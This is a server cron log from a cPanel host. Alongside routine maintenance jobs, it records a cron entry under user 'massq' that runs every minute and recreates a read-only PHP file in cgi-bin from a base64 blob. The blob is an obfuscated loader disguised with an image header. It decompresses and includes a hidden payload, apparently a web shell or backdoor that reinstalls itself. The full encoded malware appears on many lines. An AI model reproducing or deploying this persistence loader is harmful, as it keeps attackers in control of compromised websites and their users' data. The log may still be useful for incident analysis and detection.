Sep 12 04:30:01 server CROND[942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:30:01 server CROND[941]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 04:30:01 server CROND[939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:31:01 server CROND[1887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:31:01 server CROND[1888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:31:01 server CROND[1889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:32:01 server CROND[2389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:32:01 server CROND[2390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:32:01 server CROND[2391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:32:39 server run-parts(/etc/cron.daily)[4065]: finished maldet
Sep 12 04:32:39 server run-parts(/etc/cron.daily)[11569]: starting man-db.cron
Sep 12 04:32:40 server run-parts(/etc/cron.daily)[4147]: finished man-db.cron
Sep 12 04:32:40 server anacron[20736]: Job `cron.daily' terminated
Sep 12 04:32:40 server anacron[20736]: Normal exit (1 job run)
Sep 12 04:33:01 server CROND[4265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:33:01 server CROND[4267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:33:01 server CROND[4266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:34:01 server CROND[5468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:34:01 server CROND[5469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:34:01 server CROND[5470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:35:01 server CROND[5863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:35:01 server CROND[5865]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 04:35:01 server CROND[5866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:35:01 server CROND[5874]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:35:01 server CROND[5871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:35:01 server CROND[5875]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:35:01 server CROND[5873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:35:01 server CROND[5870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:35:01 server CROND[5872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:36:02 server CROND[6703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:36:02 server CROND[6705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:36:02 server CROND[6704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:37:01 server CROND[7160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:37:01 server CROND[7162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:37:01 server CROND[7161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:38:01 server CROND[7571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:38:01 server CROND[7572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:38:01 server CROND[7573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:39:01 server CROND[7951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:39:01 server CROND[7953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:39:01 server CROND[7954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 04:39:01 server CROND[7952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:40:01 server CROND[8346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:40:01 server CROND[8347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 04:40:01 server CROND[8350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 04:40:01 server CROND[8351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:40:01 server CROND[8349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:40:01 server CROND[8352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:40:01 server CROND[8353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:40:01 server CROND[8356]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 04:41:01 server CROND[9187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:41:01 server CROND[9188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
